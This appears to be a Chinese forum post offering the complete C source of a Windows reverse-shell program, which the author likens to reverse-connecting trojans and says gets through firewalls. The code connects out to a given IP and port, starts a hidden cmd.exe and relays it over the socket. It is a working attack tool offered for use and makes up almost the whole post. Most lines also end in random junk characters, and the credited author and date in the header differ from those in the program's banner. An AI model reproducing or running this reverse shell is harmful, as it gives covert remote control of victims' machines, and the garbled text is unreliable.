这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 >eWORf>7
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/* ============================== x^Zm:Jrw~
Rebound port in Windows NT N , ,[V
By wind,2006/7 Dxe]LES\]
===============================*/ f\?1oMO\
#include xYY^tZIV
#include 8p#V4liE
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#pragma comment(lib,"wsock32.lib") q2U?EP{8~
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void OutputShell(); (
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SOCKET sClient; %@8#+#@J0
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; MaLH2?je^n
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void main(int argc,char **argv) .O SQ8W}
{ &79F
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WSADATA stWsaData; N|%X/UjZ2.
int nRet; :1;"{=Yx}
SOCKADDR_IN stSaiClient,stSaiServer; %'/^[j#
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if(argc != 3) 2Vs+8/
{ jW{bP_,"
printf("Useage:\n\rRebound DestIP DestPort\n"); <B'PB"R3y
return; $h[Q}uW
} %pLqX61t=
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WSAStartup(MAKEWORD(2,2),&stWsaData); wScr:o+K>L
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $wbIe"|
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stSaiClient.sin_family = AF_INET; -;Te+E_
stSaiClient.sin_port = htons(0); (C.aQ)|T
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); xEv?2n@A
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Tfx-h)oP3
{ Ya-GDB;L
printf("Bind Socket Failed!\n"); R,fAl"wMu
return; f ~bgZ
} -j@IDd7
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stSaiServer.sin_family = AF_INET; `~\8fN
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); wh!8\9{g
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 24sQon
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) N,.awA{
{ Htfq?\ FD
printf("Connect Error!"); DR]4Tc z#
return; ..w$p-1
} m*\LO%s]E
OutputShell(); qE8Di\?
} m-#]v}0A
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void OutputShell() 7PwH&rI
{
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char szBuff[1024];
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SECURITY_ATTRIBUTES stSecurityAttributes; r%>EiHpCU
OSVERSIONINFO stOsversionInfo; KFy|,@NI
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; D_G]WW8
STARTUPINFO stStartupInfo; )@] W=
char *szShell; mX, @yCI
PROCESS_INFORMATION stProcessInformation; C
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unsigned long lBytesRead; eR/X9<
# %'%LY=
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ggpa!R
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); k(v &+v
stSecurityAttributes.lpSecurityDescriptor = 0; AP8J28I
stSecurityAttributes.bInheritHandle = TRUE; 2/Y e<.#
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0);
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); }=.C~f]A
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); L X #.
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xK4E+^ b
stStartupInfo.wShowWindow = SW_HIDE; vV*/"'>
stStartupInfo.hStdInput = hReadPipe; |!1iLWQ
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; jS5K:yx<
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GetVersionEx(&stOsversionInfo); KXUJ*l-5
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switch(stOsversionInfo.dwPlatformId) =#wE*6T9
{ :5jor Vu
case 1: I*mBU^<9V
szShell = "command.com"; PWyFys
break; 2uMSeSx$
default: = N:5#A
szShell = "cmd.exe"; L Z3=K`gj
break; U.<a d
} n@S|^cH
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); GkKoc v
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send(sClient,szMsg,77,0); 5RY rAzQo
while(1) -Byl~n3*D
{ /)rv Ndn
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); k_Lv\'Ok
if(lBytesRead) JqEo~]E]
{ lg
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); SV^[)p)
send(sClient,szBuff,lBytesRead,0); t~Ic{%bdA
} HLh]*tQG
else P{,=a]x,mz
{ j3>&Su>H4
lBytesRead=recv(sClient,szBuff,1024,0); `|:` yl
if(lBytesRead<=0) break; P+ 0-h
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); =CaSd|
} Cn>t"#zs!~
} u#3Cst8Y
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return; WTZuf9:
}